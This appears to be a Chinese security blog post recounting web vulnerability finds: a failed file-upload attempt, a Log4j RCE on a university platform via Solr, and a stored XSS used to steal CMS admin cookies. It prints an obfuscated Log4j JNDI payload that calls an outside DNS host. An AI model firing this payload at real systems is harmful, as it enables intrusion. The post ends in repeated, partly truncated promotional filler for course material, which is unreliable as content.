网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
结果哈,啪的一下很快。万能学长Ssh1y一套连五鞭,扫出来个php文件
直接心潮澎湃,试试上传php。上传后发现不解析只下载。于是寻求穿越到其他目录,抓包测试发现也无法穿越。
想了很久不知道咋办。突然来了个思路,先上传个php文件,然后再上传个html,让html里的js把数据传到那个php文件让它去处理。说不定这俩结合起来能实现getshell。
测试了一下,确实,想法很美好,现实啪的一下给我来了个大比兜。又失败了。
最终测试成果就只有上传一个html造成个XSS
心碎了心碎了。
有机会拿到源码的话一定要看看这里的后端逻辑。
0x02某某大学 Apache log4j RCE
把这个例子拿出来讲是有原因,具体是什么原因请大家往下阅读
测试:
一个课程平台,不需要登录。搜索条件处直接打poc
context=2&q=%24{j%24{::-n}di:dns%24{::-:}%24{:😕}/27738c90%24{::-.}xssx1.com}zzzz
DNS收到反弹
后面测试发现另一个参数title也能触发
打到这里的时候就直接通报相关负责老师了,没有进一步的继续利用(后悔了,应该交个SRC的555)。
然后突然有个疑惑,这个站看起来也不像用了apache组件,为啥就给测出了log4j呢
根据后续的沟通了解到,这台服务器底层用了solr,因为solr的一些问题才产生的log4j。直接把solr调整一些配置就行了。
相关问题:https://solr.apache.org/security.html
因此,在我们遇到网站可能有solr服务的时候,可以直接试试log4j,说不定有意外收获hhh。
0x03 某小众CMS 后台登陆存储型XSS
去年十月份测的一个CMS,后台登录的地方可以直接打XSS然后窃取管理员Cookie。已修复。
测试:
/index.php?g=Admin
登录,抓包,修改密码,改为
访问后台登录日志处,直接弹窗
后续尝试窃取Cookie成功!
`黑客&网络安全如何学习
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
1.学习路线图
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去就业和接私活完全没有问题。
2.视频教程
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。
内容涵盖了网络安全法学习、网络安全运营等保测评、渗透测试基础、漏洞详解、计算机基础知识等,都是网络安全入门必知必会的学习内容。
(都打包成一块的了,不能一一展开,总共300多集)
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
3.技术文档和电子书
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本,由于内容的敏感性,我就不一一展示了。
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
尝辄止,不再深入研究,那么很难做到真正的技术提升。**
一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!